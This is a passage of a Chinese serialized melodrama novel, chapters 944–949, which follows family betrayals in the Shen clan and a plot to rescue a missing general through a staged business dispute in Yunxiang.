姜花衫神色是从未有过的凝重:“在找到路迦之前,今晚在这里说过的每一个字,都不能再透露给第四个人,包括我们最亲近的家人。” 周绮珊眼神一凛,刚要开口,姜花衫抬手制止。 “别急,我还没说完。这个协议最大的受益人是你,周绮珊。你应该有感觉吧?你的长官大概率是遇上麻烦了,一旦走漏风声,他必死无疑。” 闻言,周绮珊原本质疑的神色瞬间沉寂。 姜花衫继续道:“你愿意赌上性命追寻云乡的真相,这点我确实佩服。也正因如此,我才愿意出手帮你。但若是你,或是更多家族势力牵扯进来……” 她顿了顿,声音沉了下去:“那么我也会将今晚所知的一切,原原本本告知沈家。到时候一旦家族为名誉开战,就没人顾得上路迦的死活了。” 苏妙眼神微妙地看了姜花衫一眼,轻咳一声:“我看行!” 多年相处,她自然听得出姜花衫句句带刺下的好意,但周绮珊未必明白,这才急着表态。 周绮珊垂眸沉默,似在权衡这番话背后的深浅。 片刻,她抬眸,眼神清亮:“你有把握在不惊动沈家的情况下找到长官吗?” “多少有点吧。”姜花衫并未把话说满。 周绮珊眼神微黯,见她这般,姜花衫终究还是心软了,语气缓和了几分:“但我可以保证,会尽最大的努力,不会敷衍。” 说着,她主动伸出手递到周绮珊面前,“君子协议,防君子不防小人。” “成交!”不等周绮珊反应,苏妙一巴掌拍在姜花衫的掌心,“阿珊,别……” 她正想劝说,突然发现周绮珊还被绑着双手,嘴角讪讪看向姜花衫,“她没手了,要不我替……” “好。”周绮珊突然开口,打断了苏妙。 苏妙微愣,嘴角咧开一抹笑意,看了看周绮珊,又一脸期待地看向姜花衫。 周绮珊直视着姜花衫的眼睛,被缚的身体挺得笔直,此刻,她眼中的挣扎与怀疑尽数褪去,只剩下破釜沉舟的决绝。 “你愿意倾尽全力救余笙于水火,我也愿意信你。” 话音刚落,周绮珊身上的尼龙绳应声落下,她抬起发麻的右手稳稳叠在苏妙的手背上,“君子协议。” “你!”苏妙一脸震惊,一副活见鬼的样子打量着周绮珊。 周绮珊活动了一下手腕:“我好歹在313师待过几年,这种绳结还难不倒我。” 原以为是只蝉,没想到却是黄雀,相较于苏妙的惊讶,姜花衫就显得淡定得多,毕竟盟友聪明会省下很多事。 * 与此同时,孟宅。 沈清予躺在宽大的椅背里,单手支颐,指尖轻轻点着额角。 就在刚刚,他收到消息,顾彦和顾赐丰闹翻,一天前已经离开了鲸港。 杀了人就想跑?天下哪有这么便宜的事。 他眸色转冷,倏然起身走到书桌旁,拿起座机听筒,熟练地拨出一个号码。 “是我……”沈清予简明扼要发布了一系列指令,忽然门外响起了敲门声。 “少爷。” 沈清予动作微顿,淡淡瞥了房门方向一眼,顺手挂了电话。 “进。” 顾赫推门而入,“少爷,先生来了。” 沈清予的表情明显愣了一下,抬眸看向顾赫,“沈渊?” 顾赫对于沈清予的无礼已经见怪不怪,点头:“先生说,他有很重要的事。今天一定要见到您。” 沈清予眸光沉敛,思忖片刻反手抵着桌沿,笑了笑:“让他进来。” 沈渊走进书房时,脚步在门口有片刻凝滞。 书房里灯火通明,沈清予半张侧脸轮廓分明,眉眼透着一股桀骜不驯的冷戾。见他进来,沈清予甚至没从桌后起身,只掀了掀眼皮,不紧不慢地扫过来。 这么轻慢敌视,哪有一点父子的温情? 沈渊压下心头翻涌的情绪,在书桌对面的椅子上坐下,姿态仍保持着父亲的威严,语气却透出刻意放缓的温和:“清予,听说昨天是你的乔迁之喜?我给你备了一份礼,虽说迟了一天,但心意……” “你的东西我不要,别拐弯抹角了,直说吧,这次来又想耍什么花样?”他语调漫不经心,但说出的每个字都很有分量。 沈渊面色微沉,那份强装的和气几乎挂不住:“你非得这个态度和我说话吗?” 沈清予身体微微前倾,眸光锐利如隼,“你说不说?别怪我没提醒你,这次不说可就没机会了。” 书房内的空气瞬间凝滞。 沈渊的嘴唇翕动了一下,眼底的暗涌隐隐有按捺不住之势。 一张宽大的书桌间隔在两人之间,灯火将他们的影子拉长投在冰冷的地板上,界限分明,如同横亘在彼此之间那道无法逾越的鸿沟。 最终,沈渊深吸一口气,像是下定了某种决心,从西装内袋里取出一份文件的复印件,轻轻推到书桌中央。 “这是你交给老爷子的‘离族书’,上面白纸黑字写明了,你自愿放弃继承沈家的一切财产。清予,你知道这意味着什么吗?” 沈清予笑了笑,“上面不是写得很清楚吗?” “沈清予!”沈渊被他这混不吝的态度彻底激怒,站起身,满目凶光:“沈家百年基业,在你眼里就这么一文不值?你说放弃就放弃?你知不知道……” “沈渊……”沈清予神情淡淡,“在我眼里一文不值的是你,我放弃的不是沈家,是你。” 轻飘飘的一句话,瞬间终止了沈渊的怒火。他难以置信地看着沈清予,像是没听清似的,又问了一遍:“你说什么?” 沈清予抬眸,眼眸带笑:“我说恭喜你,你以后死了没儿子送终了。” 第945章 一败涂地 沈渊不知道自己是如何离开孟宅,又是如何坐进车里的。等他回过神来时,黑色轿车已经无声地停在了沈园院外。 夜雾弥漫,将这座百年宅邸衬得愈发肃穆沉寂。两盏石灯笼在门侧散发着昏黄的光,勉强照亮门前一小片青石板地。 沈渊推开车门,冰冷的夜风让他打了个寒颤。 他抬头望着门楣上“沈园”二字,忽然想起了年少时。 那时他还不足一米高,好奇地打量着匾额,身边的大人笑着逗他:“二少爷您看,上面写着您的名字呢,这是您的家。” 郑松身形如小山,静立在门内阴影处,甚是惹眼。 沈渊刚一走近,他便上前领路:“先生,老爷子在沁园等您。” “嗯。”沈渊沉默着点了点头。 庭院深深,夜风穿过竹林,发出沙沙的轻响,更添了几分幽寂。 绕过月亮门洞便是花厅,花厅再往里就是老爷子的书房。过去几十年里,凡家族议事、商讨对策多在花厅,而结论与惩戒则都在书房。 此时,书房的门虚掩着,暖黄色的光线从门缝里淌出来,在冰凉的石板地上投下一道狭长的光带,房间里隐隐有茶香飘出。 沈渊在门前停住,手悬在半空。 老爷子是个严厉的父亲,他从小去书房的次数不在少数,但不知为什么,此次他竟有些不敢触碰这扇他推开过无数次的门。 “来都来了,在门口站着做什么?”屋内,沈庄的声音平静无波,听不出任何情绪。 沈渊眸色微黯,推门而入。 书房内,黄花梨木的书架满当当地立着,线装古籍与各类文件整齐码放。 沈庄坐在宽大的紫檀木茶台后,面前摆着一盏白瓷茶杯,茶汤正温,热气袅袅。 恭候多时,却只备了一盏茶,沈渊神色微动,眼睑低垂,避开了沈庄的注视,脚步踉跄地行至茶台前,扑通一声,直挺挺地跪了下去。 “爸,我错了。” 这三个字说出的瞬间,沈渊挺直的背脊几不可查地微微塌陷了几分,这不是身体上的松懈,而是某个支撑了数十年的信念在崩塌。 沈庄神色淡然,垂眸打量他:“你错哪了?” 沈渊沉默片刻,缓缓低下了头:“从知道您收养了一个外姓孩子后,我一直想方设法寻找孩子的生母。方眉一直受命于我,来鲸港投奔沈家、阻拦衫衫出庭、渡轮命案,也都是我一手谋划的。” 沈庄:“你说这些,并不是因为你知道错了,而是你知道自己瞒不住了。” 沈渊闭了闭眼,没有挣扎:“是。” 沈庄倒了杯热茶,转手对着沈渊泼了过去。“你本事没那么大,说吧,这件事还有谁参与了?” 热茶滚烫,即便有眼镜护目,还是烫得沈渊心下一惊。 “周家,周老爷子。” 他之所以回答得这么干脆,是因为他清楚地明白了一个道理:沈家没有弃子,除非不是沈家人。 老爷子将沈清予的“离族书”交给他,驱逐的不是他的沈清予,而是他。 正如沈清予所说,连他都能查出方眉之死,老爷子必然知道的更多。 否则,他不会那么容易就成为了沈家棋局里的弃子。 “周国潮?” 沈庄低喃了一声,又倒了一杯热茶迎面泼了过去,“三年前,枝枝在鲸港大厦顶楼险些丧命,也是你派人做的?” 沈渊怔愣,眼瞳骤然微缩。 虽然他已经猜到老爷子查了不少,但万万没想到,连三年前那么隐蔽的事也暴露了。 他略有迟疑,当即否认:“不是我,是傅嘉明。” 沈庄冷睨了他一眼,提起炉上的茶壶直接泼了过去。 “哗——!” 这次的冲击力更大,泼洒范围更广。沈渊整个人被浇得浑身一颤,猛地向后仰了一下,险些跪不稳。 沈庄面无表情:“你以为把事情推到一个死人身上,我就查不出了?我问你,傅嘉明又是怎么死的?” 沈渊脸上被烫过的地方迅速泛红,传来火辣辣的疼。 他默默抬手,取下脸上的茶叶,轻声道:“是我杀的。” 话落,他抬起头,死死攥紧手心的茶叶,语速极快:“原本我们都计划好了,就等着苏家下马。可谁知道姜花衫突然横插一脚,不但解了苏家的困境,还把沈家拉进来了。苏家和沈家同时反攻,若是被查出来,大家都要死。反正傅家已经败露,杀了傅嘉明就没人知道搅浑苏家的局里还有我!我也是为了不连累沈家!” 沈庄抬手,顺势将茶壶放回火炉。 沈渊取下眼镜,死死看着沈庄:“父亲,我买通方眉不过是未雨绸缪,想让她帮我打听消息;至于与傅家、周家之谋,也不过是想不靠沈家爬得更高。我从未对您、对沈家有过谋害之心……” 这话在沈庄面前说,无异于班门弄斧。 老爷子摇头,直接戳穿他:“老二,你没有真的谋害沈家,不是你不想,是你没有能力。” “方眉并不是一个安分守己的棋子,她之所以没有发挥作用,是因为小花儿提前把她赶出了沈家。至于苏家之祸,也不是你仁慈给几个孩子留了退路,是孩子们争气,自己闯出了一条生路。你的恶,与老大、老三本质没有不同。实在要说哪里不一样,就是你连那两个上不了台面的东西都不如。” 沈渊全然没想到,自己苦心谋划了半生,最后竟然得到一句这样的评价。 他怔然看着沈庄,满腔愤怒无法纾解,只能狠狠道:“那父亲你呢?你所有孩子都背叛你,你就没有想过是自己的原因吗?我们需要的是一个灯塔父亲,不是独裁的暴君。大家这样都是你逼的!你没有资格指责我们!” 沈庄神色淡淡:“清予大概也是这么想的。你现在指责我,是认同了他吗?” 沈渊脸上的怒色骤然僵住。 他指责父亲专制,却又在儿子面前扮演暴君;他将自己受到的伤害转移给了儿子,却又希望儿子对自己感恩戴德。 无解的死循环。 他终于知道为什么他的孩子不认他了。 这一刻,一股难以言喻的疲乏感淹没了沈渊。 …… 第946章 各自行动 兰园。 沈兰晞立在宽大的黄花梨书案后,悬腕执笔,笔尖饱满的墨汁在宣纸上徐徐铺展。 窗外夜色浓稠,唯有案头一盏明式古灯散发着温润的光晕,映着他清隽的侧影沉稳如山。 “叩叩。” 蒙满雾气的玻璃门上忽然挤出一张变形的脸。 “进。”沈兰晞并未抬头,笔势未停。 高止原本是想逗逗沈兰晞的,见他这么无趣,立马收起了玩笑的心思,推门走进书房。 “少爷,沈渊走了。” 沈兰晞指尖微顿,笔锋在纸上稳稳顿住,浓墨无声地洇开些许。 他就此搁笔,取过一旁的湿帕,慢条斯理地擦拭着修长的手指。 “自己走出去的?” “对。”高止点头,“就是状态不太好,看着跟丢了魂似的。” 沈兰晞将帕子放回原处,目光落在墨迹未干的字迹上,唇角几不可察地动了动。 “既然老爷子那边已经过了明路,也不用藏着掖着了。告诉那边,直接动手吧。” “啊?”高止一时没反应过来,“不是!少爷,要不再等等?再看看老爷子的态度?” 沈兰晞转过身,另外半边脸隐在阴影里,显得尤其清冷。他走回书案旁,伸手从案头摞得整齐的文件底层,抽出一份薄薄的档案袋递给高止。 高止神色一肃:“不是!少爷您这会不会太夸张了?清予少爷不是刚刚才送给您一份大礼,他要知道您这么对付他爹,会不会对您有意见啊?” 沈兰晞:“沈清予那性子,能做到今天这个地步已经是极限了。” 但沈渊敢把姜花衫算计成这样,这点教训远远不够。 “可……”高止看着手里的文件,心想你这出手也太狠了。 沈兰晞看出他的犹豫,神情冷漠,“你当老爷子真的糊涂了?别的不说,沈归灵连沈谦都敢杀,老爷子会相信他能安分守己?既然不管沈归灵,那也管不了我。” 得得得!冰坨子燃起来了。高止立马摆摆手,“知道了。” * “三不管”海域,黎明前最黑暗的时刻。 一艘巨大的舰体如幽灵般静静漂浮在墨色的海面上。雷达静默,灯火管制,只有必要的航行灯在黑暗中闪烁着微弱的红光。 沈归灵一身黑色作战服,立在舰桥外的翼台之上,冷白的肤色在幽光中格外惹眼。 他手中拿着一个平板,上面显示着周边海域的实时动态。 “少爷,雷达捕捉到目标了!东南方向七十海里,航向西北,速度十五节。”雷行那铁塔般的身影出现在舱门口,他压低的声音中带着一丝压抑的兴奋。 莫然冷静补充:“‘北极星’号是沈渊名下挂靠在海外子公司的一艘大型高速货轮。加密频道监听到他们刚刚与护航编队确认了最后一段航程。” 沈归灵眸光微凝,指尖在平板上划过,调出更详细的数据和一张模糊的货轮结构示意图。 “护航配置?” “两艘中型武装巡逻艇,配备轻型自动火*炮和反装甲导弹,标准的商业高级护卫配置。” 莫然语速很快,“货轮本身也有基本的自卫武器。从截获的通讯碎片分析,他们这趟跑的‘货’非同小可,安保等级是顶格的。交货方似乎来头不小,要求在公海特定坐标进行交接。” 沈归灵的目光落在平板示意图上标注的几个特殊货舱位置,那里被重点防护。 他略一沉吟,随即抬头,目光如刀锋般扫过漆黑的海面,下达了清晰的指令:“通知全舰,一级战斗准备。关闭所有非必要电磁辐射,保持静默接近。” “主炮装填高爆弹,瞄准第一艘护卫艇的动力舱。近防炮系统待命,防止对方导弹反击。” “突击队准备,放出高速拦截艇。目标:瘫痪第二艘护卫艇,武力控制‘北极星’号。记住,我要船完好无缺。谁先拿下掌控权,我就归还谁的船。” 沈归灵的命令通过加密频道清晰传送的同时,一艘艘小船以巨轮为中心如离弦之箭向四周散射。 这些船只虽然看似破旧,却透着一股悍勇,船身上涂满了狰狞的图腾和斑驳的弹痕,正是盘踞在这片“三不管”海域的几股主要海盗势力。 而这些往日里互相倾轧、无法无天的海盗们,之所以愿意乖顺听从钢铁巨舰的指令,原因无他,只是单纯地被打服了。 * 就在公海舰影悄然融入墨色海面的同时,彼岸的另一端,天色将明未明。 姜花衫彻夜未眠。 卧室的茶几上散乱铺着各种打印出的资料、照片,还有手写的联系脉络图。 等到天一亮,她随手披上一件羽绒服就出了门。 公寓的街道行人寥寥,这个时候大家都还在被窝里睡觉。姜花衫看准时机,叩响了苏妙的房门。 “怎么这么早?”苏妙睡眼惺忪。 “有消息了。”姜花衫一边说,一边往房间里面走。屋里暖气很足,她立马脱下了笨重的外套。 周绮珊正在厨房弄早餐,闻言什么都顾不上,拿着锅铲冲了出来,“你有长官消息了?” 姜花衫点头。 其实她昨天就已经猜到了路迦在哪,不过是为了掩人耳目才说需要调查。 路迦现在极有可能有危险,她也不敢拖延时间,所以用一晚上的时间整理好了思路,立马就找上门了。 周绮珊喜出望外,“他在哪?” 姜花衫故意胡诌:“根据你提供的联系账号,我的人查到路迦最后一次开通定位是在云乡。” “你是说,长官在云乡?”周绮珊眉头微蹙,思量片刻后,放下锅铲就要走。 苏妙见状连忙拉住她,“你干嘛?” 周绮珊:“那里很危险,我必须马上过去。” 其实一开始周绮珊也怀疑路迦有可能重新返回云乡了,但没有证据她不敢冒险。现在既然姜花衫给出了答案,她就没有犹豫的理由了。 “你急什么。”苏妙拉着她不放,“你现在没有身份,去了还不是一条死鱼?咱们先听听衫衫怎么说?” 周绮珊也知道冲动没有用,冷静下来后,不抱希望地看向姜花衫,“你……有办法吗?” 姜花衫点头:“有。” …… 第947章 顶级阳谋 云乡的事可不是小事,寻常人根本拿不下。 苏妙对姜花衫的信任几乎是出于本能,丝毫没有怀疑,两眼发光笑嘻嘻道:“不愧是小姜律师,靠谱!” 周绮珊站在原地一动不动,握着锅铲的手指因为用力而微微发白。 她经历过枪林弹雨,也见识过云乡水深火热,因此对于目前的处境,她不能像苏妙一样乐观,甚至因为姜花衫过分的笃定,她隐约感到不真实。 姜花衫没有卖关子,她走到茶几旁,示意两人过来。 苏妙二话不说跟上,回头见周绮珊还在沉思,一把搂住她的肩膀,“别想了!先听听衫衫怎么说。” 她比周绮珊矮一个头,为了维持搂肩的动作还特意踮着脚尖。 周绮珊心头微暖,点了点头,收敛心思,跟上前入座。 姜花衫没有急着开口,而是先从随身的包里取出一个厚重的牛皮纸文件夹,又从里面抽出一沓可以对折摊开的大幅图表。 苏妙凑近一看,惊讶地“嚯”了一声。 每一张图表上都用不同颜色标注得密密麻麻,脉络线一目了然。 “你做的?” “废话。”姜花衫语气平静,完全听不出熬夜的疲惫。 其实她整理的资料远不止这些。 在剧目世界里,每个看似独立的故事节其实都息息相关,因此她又花了大量时间梳理了一遍重生回来后改变的所有剧情。 当然,这些内容都是不能展示的,她也就没有拿出来。 周绮珊随手拿起一张图表,细细看过之后,毫不掩饰惊讶地打量起姜花衫。 作为前313师军官,她太清楚这样一份脉络清晰的图表背后意味着怎样的工作量和对信息的掌控力,这在军团绝对是指挥级的水平。 苏妙一脸折服,“你怎么做到的?这些资料跟司法总局的分析师整理的数据有得一拼。” “是吗?”姜花衫不以为意。 她没见过什么总局分析师,但她见过沈归灵的档案库,那家伙把从白峥那里偷来的资料蚕食剖解得干干净净,数据、事态、趋势一目了然。 做这份图表时,她特意偷学了沈归灵的方法。 “知道我的实力就好。”姜花衫意味深长瞥了周绮珊一眼,“言归正传。” 周绮珊默默放下手上的资料,神色凝重,“你说。” 姜花衫指着其中一张脉络图,“当前情况是,你的长官路迦彻底失联,而你一直是通过路迦往上联系。也就是说,如果没有路迦,就没有人能证明你是受令潜伏。一旦被有心之人利用,你有可能立马从民国英雄变成叛徒逃兵。” 周绮珊微愣,细想过后点了点头,“是。” 姜花衫继续道:“通过你的描述以及我昨夜查证的数据,我分析云乡现在应该是一座被地头蛇胁控的地方政权。也就是说,一旦进入那里,所有人都不值得信任,包括当地警署厅。” 苏妙脸色也变得沉重起来,“你说得对,路迦是一星上将,连他都逃不出来,那里现在一定布下了天罗地网。” 周绮珊曾在云乡蛰伏过一段时间,没有人比她更清楚里面的黑暗。 她细想后说道:“单枪匹马是不可能解救长官的,所以我其实想过向313师总师寻求帮助。但因为规则限制,无法推进。” 苏妙不解:“什么规定?” 周绮珊:“313师所有正式军人都可以凭借加密信箱与总师取得联系,前提是拥有服役军号。但我的军号在被宣布死亡时已经被收回去了,现在无法使用。” “如果是这样不就好办了,可以找兰晞哥啊,他是313师嫡系……” 话说到一半,苏妙见周绮珊眼神不对,立马反应过来问题出在哪里。 周绮珊不信任沈兰晞,准确来说,是不信任沈兰晞背后的沈家。 气氛一下凝固。 姜花衫却好似察觉不到,一针见血,“313师隶属军处,就算你把消息传回总师,时间也来不及了。你死而复生,总师第一个要查的就是你,等确认了你的身份,路迦坟头的草都长出来了。” “……”苏妙沉默片刻,歪头靠向周绮珊,小声道:“话糙理不糙。” “当务之急是救人,云乡的事暂且先放一边,等救出你的长官,我们可以先交出手里的证据。虽然还抓不到背后之人,但那些蛇鼠总归是逃不掉。” 周绮珊并未生气,点头看向姜花衫,“所以救人必须要快,要隐蔽,万一打草惊蛇反而会害了长官。你刚刚说你有办法,是想到怎么潜入云乡了?” 姜花衫见她一点就透,也不纠结,不由多了几分好感:“谁说我们要潜入的?既然要去,就光明正大地去。” “光明正大?” 周绮珊垂眸思索片刻,立马摇头否定,“不行!你没去过云乡所以不知道,那里消息滞后,居民都是以乡村为单位,对外来人很是防备,甚至有些村落不允许外人入内。直接去的话,要想安全只能当游客,但游客停留的时间短且活动范围有限,根本不可能有机会找人。” “你先看了这个再说。” 姜花衫并不争辩,从资料里抽出一份打印出来的近期商业新闻简报,推到两人面前。 苏妙和周绮珊凑上前,不约而同开口:“启明资源评估与咨询公司?” 姜花衫挑眉,扬起嘴角,“这是绥尔和枝枝合伙开的公司。公司成立后的第一单大生意是帮中东一个中型矿业公司评估一批高品位铜精矿,并寻找合适买家。这笔交易前期推进得很顺利,眼看就要签合同了。” “你们猜怎么着?” 说到这,她语气急转,唏嘘不已,“被人截胡了。” 然后又是眼睛一亮,“巧的是,截胡的正好是云乡商会下面的一个贸易公司!他们用几乎相同的条件,但承诺了更快的物流和‘额外’的税务便利,半路杀出,直接把买卖双方都撬走了。不仅撬了,还在行业里散布消息,说启明公司资质不全,评估报告有水分。” 姜花衫演上瘾了,横眉一凝,又变得义愤填膺,“你们说!这口气谁能咽得下?是不是应该现在就冲去云乡抽他们?!” 苏妙:“……” 周绮珊:“………………” …… 第948章 一箭三雕 眼见两人一愣一愣没有反应,姜花衫清咳了一声,掏出手机拨通号码,顺便按下了扩音键。 “衫衫?”是沈眠枝的声音。 姜花衫:“到哪了?” “云乡没有飞机,我们现在转车……” 没等沈眠枝说完,电话里又传来一声暴躁的声音,“活的不耐烦了!敢跟我们抢生意,虽远必诛!” “……”姜花衫嘴角抽了抽,万万没想到这里有个比她还会演的。 周绮珊是正经军人,搞不了这些花里胡哨的东西,但不代表她听不出姜花衫这布局里的顶级阳谋。 “你告诉傅绥尔和沈眠枝了?” 她脸色难看至极。毕竟她们才约定了君子协议,姜花衫出尔反尔很难让人不生气。 姜花衫早就料到周绮珊会有这样的反应,挂了电话,挑了挑眉:“没有啊。” 事实上,姜花衫的确也没有违反协议。 顾家老太太出事后,她曾找过萧澜兰,得知周宴珩在云乡,她便想着有什么办法能无缝与云乡的剧情桥接,顺便帮沈眠枝解除周宴珩这个束缚。 恰逢沈清予自立门户,手里又有资源,本着肥水不流外人田的原则,她灵机一动,撺掇沈眠枝和傅绥尔开了一家资源公司。有了这家公司,不仅能够积累资本,还能名正言顺与云乡商会打交道。 只要搭上云乡,就能顺理成章参与周家的剧情,原本是一石二鸟。 谁能想到,偏偏这个时候,周绮珊又解锁的云乡的隐藏剧情,这下她的剧目版图一下子扩大。 于是姜花衫顺势而为,决定把两个任务合二为一,来个一箭三雕。 所以,生死对峙的棋局里从来没有巧合和幸运,都是下棋人的步步为营。 周绮珊刚质疑完,立马又意识到事情不对劲! 从时间上看,这件事逻辑上说不通。 公司可以连夜注册,但项目和生意不是一天、两天就能谈成的。依照时间线来算,若要布局最快也要半个月,可是姜花衫昨天才知道云乡的事,怎么可能提前就埋好了云乡的坑? 可……如果不是刻意布局,天底下怎么会有这么巧的事? 这到底是怎么做到的? 周绮珊完全没有察觉,她此时看向姜花衫的眼神已经多了几分忌惮。 苏妙是法学高材生,关于逻辑梳理总是比人快一步,她比周绮珊更快发现事情的蹊跷之处,但她相信姜花衫。 因为她早就知道了,姜花衫是神奇的魔法师,总是会在绝境中逆风翻盘,和姜花衫一起见证过太多奇迹,再神奇的事也就不神奇了。 苏妙拿起眼前的公司企划书,对着姜花衫双手抱拳作揖:“佩服佩服!” “平身。”姜花衫一脸傲娇,转头看向周绮珊,“你们先去青市,你不方便露面,暂时和妙妙在那等消息。” 周绮珊:“那你呢?” 姜花衫:“我担心自家姐妹吃亏,去看看很合理吧?既然是去撑腰的,带点人不过分吧?” 周绮珊:“……” “对了。”姜花衫勾勾手,“你身上有什么信物吗?” “嗯?”周绮珊一时没有反应过来。 姜花衫:“你家长官应该信任你吧?到时候可别又要浪费口舌说一大堆。” “哦!”周绮珊立马反应过来,从口袋里掏出一个银色的徽章递给她,“这个。” 姜花衫眼神微闪。 周绮珊递上来的是一枚银质的军徽,材质特殊,边缘有明显的烧融痕迹。单从这烧焦程度便足以想象,周绮珊死里逃生的那场火势有多骇人。 房间里的空气似乎都因为这小物件的出现而凝滞了几分,连一向跳脱的苏妙也收敛了笑容。 周绮珊见姜花衫没有反应,立马解释,“我现在什么都没有,虽然烧焦了,但长官一定认得。” “这个就够了。” 姜花衫缓缓伸出手,两人指尖相触的瞬间,窗外,天光大亮。 * 云乡,商会大楼。 车子刚停稳,陈明生就迫不及待地推门下车,一边疾步往楼里走,一边骂骂咧咧:“外头来的兔崽子也敢上桌闹?他们闹什么?” 副会长小心翼翼跟在身后,“说是咱们抢了她们的单,做人不厚道还出言不逊,要咱们给个说法!” “给什么说法?!”陈明生这几日为了查线索没睡一个安稳觉,瞬间心头火起,“这是做生意不是做慈善,抢不赢是他们没本事,还敢上门讨说法,活腻了不成!不长眼的兔崽子!” 骂到兴起,陈明生隐隐觉得不安,在云乡,还没人敢在商会这么撒野。 为了保险起见,他又多嘴问了一句:“对方什么来头?” 副会长在心里默默给陈明生点了一根蜡,小声道:“鲸港来的,说是姓沈。” 陈明生脚步一顿,“鲸港姓沈的多了去了?哪个沈啊?” 副会长伸出一根手指往天上指了指:“最大那个。” “?!”陈明生双腿一软,立马调转方向,“这种事下次早说!要死了!太岁头上动土?!谁抢的,叫他自己来!” 副会长叫苦不迭,“可不就是您亲自下的批条,人家带着合同公章找上门的。” “什么?!” 冲他来的,这么躲了也不是办法,陈明生拉着副会长躲进角落,“他们几个人?” 副会长:“二十来个,会议室全被霸占了。” 陈明生暗叫倒霉。这些年仗着周家的关系,从别人饭碗里夺食的事他也没少做,但惹出这么大的麻烦还是头一回。 他烦躁地挠了挠耳朵,凑近道,“沈家咱们惹不起,现在也不宜引人注目。这么着,让财务算算那张单子多少钱,备下双倍礼,待会儿你跟我进去,就说单子是你批的,该认错认错,该道歉道歉,先把这两尊大神请走再说。” 副会长:“……” …… 第949章 通缉犯 会议室里,空气凝滞。 “喂!这都已经过去十分钟了,你们负责人到底什么时候来?磨磨蹭蹭是不是看不起我们?!” 傅绥尔一副不好相与的大小姐姿态。 对面几个商会的小头目坐如针毡,嘴角都快笑抽筋了,“不敢不敢,马上就到!马上就到!” “跑得了和尚跑不了庙,反正咱们有的是时间,再等等。”相比起来沈眠枝就显得好说话很多。 “是是是!”几个小头目见状,立马上前倒茶。 商会的会议室装扮得金碧辉煌,既俗气又奢华,沈眠枝逡巡一圈,目光最后落在了墙角一台壁挂式的液晶电视上。 电视机黑着屏,像个沉默的装饰品。 沈眠枝扫了一眼,抬眸看向身旁赔笑的年轻女干事,声音听不出情绪:“能开电视吗?有点闷。” 女干事愣了一下,下意识看向自家领导。 一个小头目连忙点头:“可以可以!小赵,快给沈小姐打开!” 女干事连忙找来遥控器。 电视屏幕亮起,默认播放的是云乡本地新闻台,新闻正在播报一条关于市政建设的消息,女主播字正腔圆的声音立刻缓解了会议室里的尴尬。 傅绥尔瞥了一眼,不是很感兴趣,继续用不善的目光向对面施压。 沈眠枝却似乎真的被电视吸引了注意力,姿态放松地靠向椅背,仿佛找到了打发时间的好东西。 新闻一条条过去,都是些寻常内容,沈眠枝看得津津有味。 突然画面切换,女主播的表情变得严肃了几分: “下面插播一条本台刚刚收到的,由云乡警署厅发布的紧急协查通告。” 会议室内,原本就紧绷的气氛莫名地又凝滞了一分,连傅绥尔也下意识地撩起眼皮看向屏幕。 画面切换成一张通缉令,左侧是嫌疑人画像,右侧滚动着文字信息。 “XX日,我市城南区废弃油脂加工厂发生一起恶性纵火爆炸案,造成重大财产损失,并严重威胁周边居民安全。经警方全力侦查,现已锁定一名重大犯罪嫌疑人……” “……该犯罪嫌疑人为男性,年龄约二十八至三十五岁,身高约一米八二,体型偏瘦,作案时可能身着深色夹克、戴鸭舌帽。此人极度危险,反侦查意识极强……” 随着主播的叙述,通缉令左侧的画像被放大。 那是一张轮廓分明,眉眼冷硬的男人侧脸。 沈眠枝的目光落在画像上,脸上依旧没什么情绪,仿佛只是在看一条毫无关系的社会新闻。 傅绥尔盯着画像细看了两眼,眉头皱了皱,小声咕哝了一句:“穷山恶水出刁民,云乡这地方,治安够差的!” 这时,一串略显急促的脚步声由远及近,紧接着,一道刻意拔高且透着过分热情的嗓音率先传了进来。 “哎呀呀,实在抱歉!让贵客久等了!罪过罪过!” 霎时会议室里僵持的众人精神一凛,几个小头目如蒙大赦,不自觉挺直了腰杆。 沈眠枝的目光从通缉画像上平静地移开,转头提醒身边的女干事,“可以关了。” 女干事愣了一下,连忙点头,手忙脚乱地去找遥控器。 几乎是同时,会议室的门被从外面推开,陈明生满脸堆笑地走了进来。 长期浸淫商海,男人早已练就了一身演技,脚刚跨进门,目光便已经转了一圈。 眼见是两个年轻的姑娘,老狐狸心中立马松了一口大气。 陈明生三步并作两步上前,隔着会议桌连连拱手,“两位小姐大驾光临,失礼失礼!陈某刚才在外面处理点紧急公务,手下人不会办事,让二位干等,实在是该打!” 沈眠枝和傅绥尔不语,面无表情静静看戏。 只有势均力敌的博弈才需要演戏,两人受精英教育长大,自小就与各种权贵打交道,又有沈家托底,陈明生虽然老道,但在她们面前还是远远不够看。 “……”陈明生嘴角瞬间僵硬,目光触及两人身后的西装保镖时眼神忌惮了几分。 傅绥尔见状,这才搭腔,“你就是云乡商会会长?” 陈明生连忙点头,“正是。” 傅绥尔:“今天我们为什么来,想必你已经知道了吧?” “知道。”陈明生早就做好了准备,指着身后的副会长,“这件事我都弄明白了,是底下的人……” “打住!”傅绥尔姿态极高,“不管是谁,总归挂着你云乡商会的牌子,既然你是这儿说话最管用的,我不找别人就找你。商场如战场,同行竞争用些手段我也不是不能理解,但贵司抢了我们的粮还想摔了我们碗,这是不是就有些不讲道理了?” “……”陈明生原以为找个替罪羊就能和稀泥了,不想对方完全不按套路出牌,暗道不好,连忙解释: “误会!我们绝对没有这个意思!这样,为了表示我们商会的诚意,那张单子……” “是不是误会已经不重要了。”沈眠枝再次出声打断,“因为结果已经摆在那了。陈会长,您说是吧?” 陈明生心头一紧,不敢应,腰身不觉又弯了几分。 沈眠枝语调清冷,“沈家不屑以权压人,但也没被权压过,你云乡商会算是头一个。我们呢,也不是非要吃这口饭不可,只是长这么大还没见过敢摔我们碗的人。你们云乡商会也算行业标杆,生意场的规矩我们还不懂,一时好奇,所以特意来向贵司取经。” 傅绥尔点头,“没错,我们想问问,砸人饭碗是不是也算公平竞争?如果是,那我们也就有谱了。” 这些话句句暗藏玄机,每一句威胁,但句句都是威胁。 陈明生脸上的笑容彻底僵住,连后背都沁出一层冷汗。 “不敢不敢!两位小姐这话言重了。” 他原两人都是受不得气的千金小姐,用些场面话、赔点钱就能打发,但现在看来继续和稀泥是不可能的了。 “这样!”陈明生咬了咬牙,仿佛下了极大的决心。 “我立刻让人草拟声明,以云乡商会的名义,向贵公司正式公开道歉!并对下属公司的违规操作严肃处理,至于贵司的损失,我们会尽最大诚意弥补,我陈某人保证,以后断然不会再出现这种不正当的竞争行为。还请两位小姐宽宏大量,再给个机会。” 